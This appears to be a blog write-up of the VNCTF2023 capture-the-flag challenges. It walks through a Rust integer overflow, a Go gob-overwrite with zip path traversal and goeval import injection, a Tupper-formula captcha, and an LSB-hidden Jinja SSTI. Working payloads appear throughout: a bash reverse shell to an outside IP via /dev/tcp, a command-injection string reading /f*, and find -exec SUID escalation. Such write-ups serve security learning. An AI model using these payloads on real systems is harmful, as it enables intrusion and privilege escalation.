April 2, 2023

VNCTF2023-WriteUp

队伍名称

Boogipop
希望可以进VN战队呀QWQ

排名

21/1(总|Web)

解题思路

WEB

象棋王子

传统JS题,直接在js文件里可以看到flag:
image.png
JSFUCK编码直接放在console输入即可:
image.png

电子木鱼

是一个用RUST做的web(没见过),给了源码,重点在于:
需要100000000功德获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
let mut context = Context::new();

context.insert("gongde", &GONGDE.get());

if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}

match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
GONGDE.set(0);
web::Json(APIResult {
success: true,
message: "重开成功,继续挑战佛祖吧",
})
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}

if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}

if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;

if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}

if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}

if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}

if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}

web::Json(APIResult {
success: false,
message: "禁止开摆",
})
}

/upgrade路由中有上述5个功能,每个功能都需要传2个参数name,quantity,quantity是扣功德的倍数,看到这种题一开始想的是传负数,可是被ban了,因此思路其实很明确就是整形溢出:(其实一开始我是脚本爆破,发现不可能就转思路了)
image.png
代码中的功德是i32类型,所以范围就是-2147483647~2147483647,这里通过整形溢出绕过判断if GONGDE.get() < cost as i32,因此payload为:
POST /upgrade :name=cost&quantity=2000000000
image.png
image.png

babyGo

一道go的反序列化以及Goeval逃逸,源码也是给出了,重点逻辑在于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":80")
}

题目一开始在user目录下创建了一个user.gob文件,但又ban掉了gob上传后缀,因此不能直接上传,题目给了unzip选项,只需要上传zip文件夹,之后unzip解压即可,在unzip路由可以指定path,利用这一点覆盖user目录的user.gob即可,之后就可以通过goeval命令执行
知道思路后可以开始编辑payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"encoding/gob"
"fmt"
"os"
)

type User struct {
Name string
Path string
Power string
}
///tmp/2008ebd2e4fc55eed0953f80a1dec1d5/
// /tmp/2008ebd2e4fc55eed0953f80a1dec1d5/uploads/get.zip
func main() {
p := User{
Power: "admin",
Name: "Boogipop",
Path:"test",
}
name := "user.gob"
File, _ := os.OpenFile(name, os.O_RDWR|os.O_CREATE, 0777)
defer File.Close()
enc := gob.NewEncoder(File)
err := enc.Encode(p)
if err != nil {
fmt.Println(err)
return
}
}

go run user.go,获得gob文件,将其压缩为user.zip,之后先上传该文件:
image.png
再去unzip目录解压,这里注意user目录是在/tmp/ce79848ad6b3d871366ad85af49cd3f8/下,而zip文件在/tmp/ce79848ad6b3d871366ad85af49cd3f8/uploads/目录下,因此指定path=../覆盖user.gob文件:
[http://614a29b7-dd93-41d9-b195-032ae746ef97.node4.buuoj.cn:81/unzip?path=../](http://614a29b7-dd93-41d9-b195-032ae746ef97.node4.buuoj.cn:81/unzip?path=../)
image.png
在访问backdoor路由查看是否成功:
image.png
覆盖是成功了,也就是可以进入命令执行部分了:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")),在这里可控参数只有第三个选项的pkg,这就涉及一个goeval的逃逸了,可以看看Eval的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main

%s

%s

func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("n %s "%s"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("n"%s"", item)
}
}
importStr += "n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
}

在这里我们可控参数对应的就是第二占位符,并且可以发现它是通过字符串拼贴得出的importSt,因此这里就可以通过闭合import,达到逃逸的目的
由于是在main函数外,所以得通过func init()方法去优先于main执行命令,也是由于在main方法外,不可以存在()这样的单一结构,会报错,因此最后一个),需要通过const ( boogipop="testpop"进行闭合,因此我们的payload为:

1
?pkg=os/exec"%0a"fmt")%0afunc%09init()\{%0acmd%09:=exec.Command("/bin/bash","-c","cat${IFS}/f*")%0ares,err%09:=%09cmd.CombinedOutput()%0afmt.Println(string(res))%0afmt.Println(err)%0a}%0aconst(%0aMessage="fmt

image.png

MISC

验证码

不给提示还真不知道,一给提示就通了
给了136个图片,全是纯数字验证码,并且提示给了tupper
首先通过py脚本识别验证码,将其拼贴在一起:

1
2
3
4
5
6
7
8
9
10
11
12
import ddddocr

ocr = ddddocr.DdddOcr()
res=''
for i in range(0,136):
dir="C:\\Users\\22927\\Downloads\\imgs\\"
filename=dir+f"{i}.png"
with open(filename, 'rb') as f:
img_bytes = f.read()
res+= ocr.classification(img_bytes)
print(res)
#1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

这里脚本出来的结果中0识别为了o,需要手动改改,不太麻烦
tupper可以联想到塔帕自指公式,用脚本跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import textwrap
import matplotlib.pyplot as plt

K ='上面注释的数字,放进来导不出来'
H = 17
W = 106

if __name__ == "__main__":
plt.figure(figsize=(6.8, 4), dpi=600)
plt.axis("scaled")

K_ = K//17
for x in range(W):
for y in range(H):
if K_ & 1:
plt.bar(x+0.5, bottom=y, height=1,
width=1, linewidth=0, color="black")
K_ >>= 1

plt.figtext(0.5, 0.8, r"$\frac{1}{2}<\left\lfloor \operatorname{mod}\left(\left\lfloor\frac{y}{%d}\right\rfloor 2^{-%d\lfloor x\rfloor-\operatorname{mod}(\lfloor y\rfloor, %d)}, 2\right)\right\rfloor$" % (H, H, H), ha="center", va="bottom", fontsize=18)
plt.subplots_adjust(top=0.8, bottom=0.5)
K_str = textwrap.wrap(str(K), 68)
K_str[0] = f"K={K_str[0]}"
for i in range(1, len(K_str)):
K_str[i] = f" {K_str[i]}".ljust(70)
K_str = "\n".join(K_str)
plt.figtext(0.5, 0.45, K_str, fontfamily="monospace", ha="center", va="top")

plt.xlim((0, W))
plt.ylim((0, H))
xticks = list(range(0, W+1))
xlabels = ["" for i in xticks]
xlabels[0] = "0"
xlabels[-1] = str(W)
plt.xticks(xticks, xlabels)
yticks = list(range(0, H+1))
ylabels = ["" for i in yticks]
ylabels[0] = "K"
ylabels[-1] = f"K+{H}"
plt.yticks(yticks, ylabels)
plt.grid(b=True, linewidth=0.5)

# plt.show()
plt.savefig("Tupper-plot.png")
# plt.savefig(fname="name", format="svg")

运行得出flag图片:
image.png
flag{MISC_COOL!!}

LSSTIB

其实这一题放到Web不是更好吗()
披了一层皮的SSTI注入,但是有些地方要注意,首先网站架构为Flask,对应python版本为3.8,是python3的话你假如用py2的lsb脚本加密可能就寄了(好像其实就是lsb加密的问题?之前用py2有密码,只需要改一下lsb.py变为无加密即可QWQ)
image.png
因此我去网上找了个PY3的LSB加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from PIL import Image


# PIL,Python Imaging Library.图像处理功能
def plus(str):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。

return str.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容

tmp = strr

f = open(tmp, "rb") # 要读取二进制文件,比如图片、视频等等,用'rb'模式打开文件

s = f.read()
str = ""

for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.使用bin()函数将十进制的ascii码转换为二进制

# 2.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空

# 3.又由于这样替换之后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位

str = str + plus(bin(s[i]).replace('0b', '')) # s[i]为该位置字符的十进制表示的ascll码

# print str

f.closed

return str


def mod(x, y):
return x % y


# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径

def func(str1, str2, str3):
im = Image.open(str1)

# 获取图片的宽和高

width = im.size[0]

print("width:" + str(width) + "\n")

height = im.size[1]

print("height:" + str(height) + "\n")

count = 0

# 获取需要隐藏的信息

key = get_key(str2)

keylen = len(key)

for h in range(0, height):

for w in range(0, width):

pixel = im.getpixel((w, h)) # 返回该像素点三原色的二进制信息,形成一个数组

a = pixel[0] # R

b = pixel[1] # G

c = pixel[2] # B

if count == keylen:
break

# 下面的操作是将信息隐藏进去

# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值

# 再从需要隐藏的信息中取出一位,转换为整型

# 两值相加,就把信息隐藏起来了

a = a - mod(a, 2) + int(key[count])

count += 1

if count == keylen:
im.putpixel((w, h), (a, b, c))

break

b = b - mod(b, 2) + int(key[count])

count += 1

if count == keylen:
im.putpixel((w, h), (a, b, c))

break

c = c - mod(c, 2) + int(key[count])

count += 1

if count == keylen:
im.putpixel((w, h), (a, b, c))

break

if count % 3 == 0:
im.putpixel((w, h), (a, b, c))

im.save(str3)


# 原图

old = r"E:\CtfTool\babygo_vnctf2023\3.png"

# 处理后输出的图片路径

new = r"E:\CtfTool\babygo_vnctf2023\4.png"

# 需要隐藏的信息

enc = r"E:\CtfTool\babygo_vnctf2023\1.log"

func(old, enc, new)

网站标题为加密日志上传,因此解码出来的文件应该是.log文件,内容为:

1
{{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/114.116.119.253/7788 <&1"')}}

上传可以看到:
image.png
这里其实已经弹shell了(我在这没接收),vps上开启监听即可获得反弹shell:
image.png
但是flag文件没有权限读取,所以需要简单提权,寻找一下suid命令:
find / -user root -perm -4000 -print 2>/dev/null
image.png
这里后半部分的/usr/bin出来的及其慢,需要耐心等待(一开始没做出来也是因为这个)
看到了find还有啥好说的:
touch /tmp/evilboogipop&&find /tmp/evilboogipop -exec whoami \;
image.png
touch /tmp/evilboogipop&&find /tmp/evilboogipop -exec cat /flag \;
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#VNCTF